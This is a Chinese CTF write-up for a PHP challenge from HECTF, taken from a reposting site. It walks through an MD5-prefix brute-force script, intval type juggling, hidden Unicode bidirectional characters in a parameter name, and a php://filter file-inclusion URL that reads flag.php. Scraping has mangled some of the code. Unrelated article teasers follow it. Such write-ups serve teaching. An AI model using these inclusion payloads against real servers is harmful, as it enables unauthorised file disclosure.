php代码逻辑题

<?php
error_reporting(0);
show_source(__FILE__);
$guess = $_POST['guess'];
$data = (array)json_decode(@$_GET['data']);
if(substr(md5($guess),0,27)=='797ed5077436dc8abaec64750e2')if ($data['aaa'] !==666 && intval($data['aaa'],0) == 666 &‮⁦+!!⁩⁦& "he‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦hectf])  //flag in flag.phpinclude $data['arr'][0];elsedie("Try hard!");
elsedie("Try hard!");
  1. error_reporting(0);:这行代码将错误报告级别设置为0,即禁用错误报告。

  2. show_source(__FILE__);:此函数用于显示当前文件的源代码。这可能是为了让程序员查看代码以进行调试或了解代码的工作原理。

  3. $guess = $_POST['guess'];:将$_POST['guess']的值赋给变量$guess$_POST是一个包含通过HTTP POST方法发送的变量和值的关联数组。

  4. $data = (array)json_decode(@$_GET['data']);:这行代码将$_GET['data']的值解码为JSON格式,并将其转换为数组。$_GET是一个包含通过URL查询字符串发送的变量和值的关联数组。

  5. if(substr(md5($guess),0,27)=='797ed5077436dc8abaec64750e2'):使用md5哈希函数将$guess的值转换为MD5哈希,并检查前27个字符是否与给定的值匹配。

  6. if ($data['aaa'] !==666 && intval($data['aaa'],0) == 666 &‮⁦+!!⁩⁦& "he‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦hectf]):这是一个复杂的条件语句。首先,它检查$data['aaa']的值是否不等于666,并且$data['aaa']的整数值是否等于666。接下来,它检查字符串"he‮⁦ Flag!⁩⁦ctf"是否等于$_GET[‮⁦LAG⁩⁦hectf]。请注意,此条件中的一些字符似乎是反向的,这可能是一种试图绕过字符串匹配检查的技巧。

  7. include $data['arr'][0];:如果前面的条件都满足,将包含$data['arr'][0]中指定的文件。这意味着该代码片段将根据特定条件包含其他代码文件。

  8. else:如果前面的条件不满足,则执行以下代码块。

  9. die("Try hard!");:这行代码将输出"Try hard!"并终止执行,显示该消息给用户。

首先传一个guess,按要求要md5加密后被截断前27个要与之匹配,这里网上找个脚本

from multiprocessing.dummy import Pool as tp
import hashlibprint("请输入md5截断内容")
x=input()
knownMd5 = xprint("请输入截断起始位置")
a=int(input())
print("请输入截断终止位置")
b=int(input())print("爆破结果为:")def md5(text):return hashlib.md5(str(text).encode('utf-8')).hexdigest()def findCode(code):   key = code.split(':')start = int(key[0])  end = int(key[1]) for code in range(start, end):if md5(code)[a:b] == knownMd5:            print (code)break
list=[] 
for i in range(3):    #这里的range(number)指爆破出多少结果停止list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()    #使用多线程加快爆破速度
pool.map(findCode, list) 
pool.close()
pool.join()

得出guess=39985

然后传入一个data,以json形势传入,传入后变成数组

同时最后有一个include可以读取到data里的数组按照读取的形势我们可以判断出这是个二维数组。

我们构造data.

data={"aaa":666.1,"arr":["php://filter/read=convert.base64-encode/resource=flag.php",2]}

最关键的点来了,我们拖动鼠标标记hectf我们会发现后面也会被一起选中。于是我们知道这里有点东西。我们把代码复制然后粘贴到文本文档里,我们会发现出现了乱码。于是我们这里用到010Editor来查看代码,转化成Hex。

我们选中双引号里的hectf 复制左边的hex码,然后2个字符前加一个%。这就是我们要传入get请求的数据

%68%65%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66 

选中中括号里的hectf同理,这就是我们要做的get请求

 

%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%68%65%63%74%66 

http://43.143.172.74:4002/?data={"aaa":666.1,"arr":["php://filter/read=convert.base64-encode/resource=flag.php",2]}&%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%68%65%63%74%66=%68%65%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66 

guess=39985

 

 

 

得出答案PD9waHAgDQogICAgJGZsYWcgPSAiSEVDVEZ7anNvbl93ZWFrcGhwfSI7

base64解码后

<?php 
    $flag = "HECTF{json_weakphp}";

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/28564.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AtcoderABC249场

A - JoggingA - Jogging 题目大意 高桥和青木一起慢跑&#xff0c;高桥每隔 ACAC 秒钟走 BB 米&#xff0c;然后休息 CC 秒钟&#xff0c;青木每隔 DFDF 秒钟走 EE 米&#xff0c;然后休息 FF 秒钟。现在已经过去了 XX 秒钟&#xff0c;问谁跑得更远。 思路分析 模拟来解决这…

mysql 1 -- 数据库介绍、mysql 安装及设置

Linux 安装 mysql 1、数据库&#xff08;mysql&#xff09; 数据文件 - 数据库过了系统 2、c/s mysql 服务器 mysql 客户端 ip port : 3306 3、关系型 于 非关系型数据库&#xff08;nosql&#xff09; nosql可以解决一些关系型数据库所无法实现的场景引用。 一、数据库介绍 …

VScode 右键菜单加入使用用VSCode打开文件和文件夹【Windows】

VScode 右键菜单加入使用用VSCode打开文件和文件夹【Windows】 介绍修改注册表添加右键打开文件属性修改注册表添加右键打开文件夹属性修改注册表添加右键空白区域属性 介绍 鼠标右击文件或者文件夹&#xff0c;可直接用VSCode打开&#xff0c;非常方便。但如果我们在安装VSCo…

「网络编程」传输层协议_ UDP协议学习_及原理深入理解

「前言」文章内容大致是传输层协议&#xff0c;UDP协议讲解。 「归属专栏」网络编程 「主页链接」个人主页 「笔者」枫叶先生(fy) 目录 一、传输层二、UDP协议2.1 再谈端口号2.2.1 端口号范围划分2.2.2 认识知名端口号2.2.3 端口号注意问题2.2.4 netstat命令和pidof命令 2.2 UD…

设计模式之享元模式

写在前面 本文看下一种结构型设计模式&#xff0c;享元模式。 1&#xff1a;介绍 1.1&#xff1a;什么时候使用享元模式 当程序需要大量的重复对象&#xff0c;并且这些大量的重复对象只有部分属性不相同&#xff0c;其他都是相同的时候&#xff0c;就可以考虑使用享元设计…

STM32之按键驱动的使用和自定义(MultiButton)

原始Github地址 Github地址 修改后 调整内容 将宏定义转换成配置结构体 头文件 #ifndef _MULTI_BUTTON_H_ #define _MULTI_BUTTON_H_#include "stdint.h" #include "string.h"//According to your need to modify the constants. //#define TICKS_IN…

Redis实战案例19-Redis解决主从一致性问题

主节点&#xff08;Master&#xff09;“写操作”&#xff1a; 接收并响应客户端的读写请求。持久化数据到磁盘&#xff08;根据配置可以选择使用RDB快照或者AOF日志&#xff09;。将自己的写操作同步给所有的从节点。处理发布/订阅&#xff08;Pub/Sub&#xff09;模式中的发…

AUTOSAR CP标准的RTE和BSW各模块的设计及开发工作

AUTOSAR&#xff08;Automotive Open System Architecture&#xff09;是一种开放的汽车电子系统架构标准&#xff0c;旨在提供一种统一的软件架构&#xff0c;以实现汽车电子系统的模块化和可重用性。 AUTOSAR标准中的两个重要模块是RTE&#xff08;Runtime Environment&…

微服务Day2——Nacos注册中心入门

Nacos注册中心 1、Nacos简介 国内公司一般都推崇阿里巴巴的技术&#xff0c;比如注册中心&#xff0c;SpringCloudAlibaba也推出了一个名为Nacos的注册中心。 2、Mac安装 进入Nacos官网下载安装包 http://nacos.io/zh-cn/ Github仓库地址 下载解压后进入nacos/bin目录下 …

Docker——认识Docker 常用命令 Linux中安装docker 常见问题及其解决

目录 引出Docker是啥&#xff1f;Docker是啥&#xff1f;Docker VS 虚拟机1.特性优势2.资源优势 Docker的架构Docker常用命令&#xff08;0&#xff09;docker run&#xff08;1&#xff09;docker ps&#xff08;2&#xff09;docker stop 容器名称&#xff08;3&#xff09;…

大二毕设.2-自研Spring框架

目录 项目描述&#xff1a; 基本演示 提取标记类 IOC容器的装载 IOC容器的操作 DI依赖注入 Aspect排序 AOP MVC 功能实现讲解 项目描述&#xff1a; 为了更好地学习 Spring 的核心&#xff0c;参考 Spring 源码实现的一个简易框架当前已实现 IOC&#xff0c;DI依赖注…

学习react,复制一个civitai(C站)-更新3

更新内容 优化了一下加载速度 图片列表 初步更新了199张图片&#xff0c;大部分都有stable diffusion 的prompts。 可以直接复制到AI绘画里面使用。 先来看看效果图吧&#xff1a; 我还是挺喜欢这种砌砖流布局 技术点 同样使用了砌墙瀑布流布局:masonry js 安装方法 npm …